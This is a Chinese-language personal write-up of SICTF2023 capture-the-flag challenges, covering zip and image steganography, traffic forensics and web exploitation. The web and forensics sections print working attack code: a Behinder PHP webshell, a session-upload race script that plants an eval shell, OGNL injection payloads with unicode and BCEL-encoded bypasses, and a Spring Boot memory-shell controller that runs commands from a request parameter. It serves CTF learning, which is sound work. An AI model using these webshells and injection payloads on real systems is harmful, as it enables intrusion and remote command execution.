sictf2023
SICTF2023
就记录一些不会的题
MISC
baby_zip
明文攻击+lsb隐写(010打开就行)
echo -n "89504e470d0a1a0a0000000d49484452" |xxd -r -ps > key.txt
我的当时思路:
压缩包有密码,尝试伪加密,破解后显示crc错误,自己构造一个带图片的压缩包,对比发现原压缩包图片内容没有文件头部分,然后就尝试自己加,但是宽高不知道,crc写不了,最终也没有办法了
QR_QR_QR
这个当时没时间写了,结束后也想自己尝试下,但还是失败了(才知道是python的问题,不是我的。。。。。)
自己的想法:
很明显01转二维码(第一次在不知道wp的情况下写脚本),成功后以为每次都一样,但是多次尝试后发现是不一样的,然后就像提示说的使用pwntool,还挺简单的,接着关键一步就是识别二维码的脚本,网上发现无非就是两种(pyzbar库和cv2库),但我使用都出了问题
看了眼wp,基本是一样的,但是因为pyzbar库报错不能成功,服了。。。。
from pwn import *
from PIL import Image
from pyzbar.pyzbar import decode
img = Image.new("RGB",(115,115))
p = remote("host",port)
for i in range(115):
a = p.recvline().strip().decode()
for j in range(115):
if(a[j]=='0'):
img.putpixel((i,j),(255,255,255))
else:
img.putpixel((i,j),(0,0,0))
p.sendline(decode(img)[0][0])
应该能成功,失败的话自己网上找一下识别二维码的代码去替换一下
看了WP说还要解1000次才出flag。。。。。。
别人的完整WP
from Crypto.Util.number import *
from pwn import *
import cv2
from PIL import Image
from pyzbar.pyzbar import decode
r=remote("host",port)
count = 0
while(1):
count += 1
print(count)
data = list(r.recvuntil(b"P")[:-1])
# 定义图像的宽度和高度(根据数据长度调整)
width = 116
height = 116
# 创建一个空白图像
image = Image.new("1", (width, height), color=1) # 1表示单色(黑白)
# 获取图像的像素访问对象
pixels = image.load()
# 将01数据填充到图像中
for y in range(height):
for x in range(width):
index = y * width + x
if index < len(data) and data[index] == 48:
pixels[x, y] = 0 # 将0写为黑色像素点
else:
pixels[x, y] = 1 # 将0写为黑色像素点
# 保存图像为文件
image.save("1.png")
decocdeQR = decode(Image.open("1.png"))[0].data
r.sendline(decocdeQR)
temp = r.recvline()
print(temp)
temp = r.recvline()
print(temp)
Pixel_art
赛后讨论说是提取像素脚本然后解密OOK
但即使知道思路,还是不知道怎么做,等着看WP吧
压缩包伪加密得到图片,stegsolve查看lsb隐写,发现图片(就只做到这里)
大小仅有20*20,不难想到flag被加密进了像素点里。写一个脚本提取像素点:
from PIL import Image
img = Image.open('')
width,height = img.size
pix = []
for i in range(width):
for j in range(height):
pix.append(img.getpixel(i,j))
print(pix)
[(46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (33, 63, 33), (33, 46, 63), (46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (63, 46, 63), (33, 46, 63), (46, 46, 46), (46, 33, 46), (63, 46, 46), (46, 46, 46), (46, 46, 33), (63, 33, 33), (46, 63, 33), (33, 33, 33), (33, 33, 63), (46, 63, 33), (46, 63, 33), ......, (46, 46, 33), (46, 63, 46), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0)]
对应ASCII码
46-.
33-!
63-?
然后联想到Ook
from PIL import Image
image = Image.open('') # 替换为隐写出来的图片
width, height = image.size
pixel_data = []
for y in range(height):
for x in range(width):
pixel = image.getpixel((x, y))
pixel_data.append(pixel)
count = 0
for i in range(len(pixel_data)):
if(pixel_data[i] == (0,0,0)):
break
for j in pixel_data[i]:
print("Ook"+chr(j),end = "")
Easy_Shark
自己的思路:提取http对象,发现上传的shell.php的内容,以及上传的一些数据
<?php
@error_reporting(0);
session_start();
$key="2295d22e2d70888f";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
想着是上传的内容然后对应解密,但还是没思路,应该还是没看懂这段代码的原因
WP的思路差不多,对数据进行对应解密(我当时少了一层base64,只拿去AES解密导致什么都看不出来)
拿到加密方式后,可以看出,在openssl扩展有效时,这段代码对数据的解密方式为AES_128后base64,并且给了key的值(之后了解到这是很明显的冰蝎的特征)。那么就可以使用cyberchef,对之后的每个tcp流里的base64数据进行恢复:
圈起来的地方注意一下,iv自行补0直到出现内容即可
然后把里面的信息解密出来看看
tcp流有很多,大佬们贴出来的图是
由此去解密响应信息(响应数据太多了,复现找不到两个文本的内容)
GronKey.txt:
1,50,61,8,9,20,63,41
flag.txt:
TGLBOMSJNSRAJAZDEZXGHSJNZWHG
根据GronKey找到Gronsfeld加密
(类似于凯撒这样的移位密码,每个字符根据对应数字进行移位,若密钥长度小于字符串,就从头再次开始)
from Crypto.Util.number import *
from pycipher import Gronsfeld
t = [1,50,61,8,9,20,63,41]
temp = "TGLBOMSJNSRAJAZDEZXGHSJNZWHG"
print (Gronsfeld(t).decipher(temp))
SICTF{SHUMUISAGOODBOYYYYYYYYY}
一起上号不
有关cs的流量分析,应该去找类似的题目的,但当时并不怎么想做,大佬们也是参照别的文章的解题顺序做的
导出http对象,获得一个key.zip,利用工具解密cobalstrike公钥和私钥
Slzdude/cs-scripts: 研究CobaltStrike时的一些副产品 (github.com)
因为虚拟机坏了,只能先拿unknown
师傅的图了
有了私钥,拿去解/load
路由中cookie中的元数据,拿到AES_KEY,HMAC_KEY
WBGlIl/CS_Decrypt (github.com)
然后找到/submit.php
下发送的POST请求内容
先hex解密再base64加密
总结下顺序:
- 解密key文件,得到
private-key
- 拿到cookie中的元数据,解密出
AES_KEY
,HMAC_KEY
- 找到
/submit.php
的数据,先hex解密再base64加密,然后跑脚本
还不上号 (easy_shark和一起上号的组合)
两个流量包
内容高度一致,就说一下不同点吧
包一对比easy_shark
缺少key
(但我自己找不到shell.php
的内容)
而包二中导出http对象有key.zip
压缩包有加密,也没法进行明文攻击,那么就ziprello爆破,爆破得到密码we1l
发现零宽字符隐写,解密时要点上这两个
cd52f1488563bf0e
然后按照easy_shark的方式解密
得到两个文件
flag.txt:
SICTF{79e1755e-08a8-4d
key:
剩下的和一起上号不
一样
最后得到了个base32
解密即可
web
include(签到)
很简单filter伪协议就可以
这里我尝试包含pearcmd.php (我虽然知道这种解法,但每次看到include
都想不起来可以用这个)
我全都要(拿了个二血)
pop链不说了
你能跟得上我的speed吗
当时看到传不上去就想着条件竞争,但是不会操作
我印象中的竞争有session条件竞争,然后就是多线程
看了unknow师傅的wp,可以使用session的脚本
偷师傅的脚本
# coding=utf-8
# Author:Y4tacker
import io
import requests
import threading
sessid = 'yyy'
url = "http://210.44.151.51:10418/upload.php"
##这里小改了一下
php = '''
<?php
file_put_contents('shell.php','<?php eval($_GET["c"]);?>');
echo 'bingo';'''
def write(session):
while True:
f = php
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': f"123123213123"},
files={'file': ('1.php', f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.get('http://210.44.151.51:10418/uploads/1.php')
if "bingo" in resp.text:
print(resp.text)
break
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 10):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 10):
threading.Thread(target=read, args=(session,)).start()
event.set()
pain (看了四种解法)
考察OGNL表达式
正常的命令执行是下面这样
OgnlContext context = new OgnlContext();
//context.setRoot(test);
//表达式
String express = "(#a=@java.lang.Runtime@getRuntime.exec('calc')";
//(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()
Object ognl = Ognl.parseExpression(express);
Object value = Ognl.getValue(ognl,context,context.getRoot());
System.out.println(value);
题目黑名单
unicode绕过
@java.lang.\u0052untime@g\u0065t\u0052untime().\u0065xec('calc')
记得url编码(我当时想的就是unicode,但没url编码网页报错400不知道咋办了)
读取文件
(#a=new java.util.Scanner(new java.io.File("/flag")).next())
妙妙妙妙啊
bcel字节码(unknow师傅的解法)
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.JavaWrapper;
public class App {
public static void main( String[] args ) throws Exception{
//第一种触发方式
//JavaClass javaClass = Repository.lookupClass(Evil.class);
//
//String encode = Utility.encode(javaClass.getBytes(), true);
//
//System.out.println(encode);
//new ClassLoader().loadClass("$$BCEL$$"+encode).newInstance();
//第二种触发方式
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
JavaWrapper._main(new String[]{"$$BCEL$$"+encode});
System.out.println("$$BCEL$$"+encode);
}
}
//Evil.java
import java.io.IOException;
public class Evil {
public static void main(String[] args) {
}
public static void _main(String[] args) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
//使用第一种方法的Evil.java
import java.io.IOException;
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
public static void main( String[] args ) throws Exception{
JavaClass javaClass = Repository.lookupClass(Evil.class);
String encode = Utility.encode(javaClass.getBytes(), true);
String bcel = "$$BCEL$$"+encode;
String code = "@com.sun.org.apache.bcel.internal.util.JavaWrapper@_main({'"+bcel+"'}.toArray())";
System.out.println(URLEncode.encode(code));
OgnlContext context = new OgnlContext();
Ognl.getValue(code, context, context.getRoot());
}
#使用ClassLoader
(#a=new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmRKO$c2$40$Q$fe$W$90BmEQ$f0$fd$7e$81$H$b9x$c3x1$9a$Y$eb$pb0$k$cb$ba$c2bmM$v$ea$3f$f2$ecE$8d$sz$f7G$ZgWE$S$eda$a63$dfcf$db$7d$ffx$7e$F$b0$86$82$894FL$8cb$y$85q$95$t$ML$g$982$91$c4$b4$81$Z$D$b3$M$c9u$e9$cbh$83$n$5e$uV$Z$S$9b$c1$99$60$c88$d2$X$fb$ed$cb$9a$I$8f$dd$9aG$9d$ac$Tp$d7$ab$ba$a1T$f5w3$R5d$8b$3c$9c$adk$e9$95$ZR$eb$dc$fb$b6c$E$e7$9c$a6$7b$ed$96dP$da9$d8$ba$e5$e2$w$92$81O4$bb$S$b9$fcb$cf$bd$d26$b4$U$83Y$J$da$n$X$dbR$d9$a6$95$dd$aa$d2Z0$d1k$60$ce$c2$3c$Wh$k$ad$c0$z$yb$89a$f0$lo$861$dd$f5$5c$bf$5e$3aj$fb$91$bc$U$jPy$z$93$872g$e8$ff$r$k$d4$9a$82G$M$D$7f$b4$b4W$5dD$9d$oW$u$3a$7f8t$9e$84$b8$V$9ca$b9$d0$85V$a2P$fa$f5r$b7$e00$M$b8h$b5H0$d2$cd$3cn$84$c1$8d$fa$Q$e5b$V$b3H$d1_SO$ML$j$9e$a2EU$892$a3$dc$b3$f2$Iv$afa$9bbR7$N$f4Q$b4$be$I$c8$a0$9fr$K$D$j$f19$e2$g$h$7eB$y$h$7f$40$e2$e4$O$f6$ee$L$92$a7$e4f$bc$ddk0M$d4$k$o$w$db$3c$bd$B$ea$fe$d8$d4$ed$d51OC$7e$c6$d8$84d1H$d5$90$k$ls$M$e4$d2$E$e4$f5f$c3$9f$9e$b2$c5O$84$C$A$A')).newInstance()
本地自建的Evil.java,带不带包名都可以,都打得通。(保险起见还是带上吧)
DoyouknowCC (不会,先欠着)
springboot >2.6内存马
package com.example.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class EvilController extends AbstractTranslet {
public EvilController() throws NoSuchFieldException, NoSuchMethodException, IllegalAccessException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = EvilController.class.getMethod("test");
Field field = mappingHandlerMapping.getClass().getDeclaredField("config");
field.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) field.get(mappingHandlerMapping);
RequestMappingInfo info = RequestMappingInfo.paths("/cmd").options(config).build();
EvilController springBootMemoryShellOfController = new EvilController("aaaaaaa");
mappingHandlerMapping.registerMapping(info,springBootMemoryShellOfController,method);
}
public EvilController(String test){
}
public void test() throws Exception{
HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();
String command = request.getParameter("cmd");
if (command!=null){
try {
java.io.PrintWriter printWriter = response.getWriter();
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
printWriter.write(o);
printWriter.flush();
printWriter.close();
}catch (Exception ignored){
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}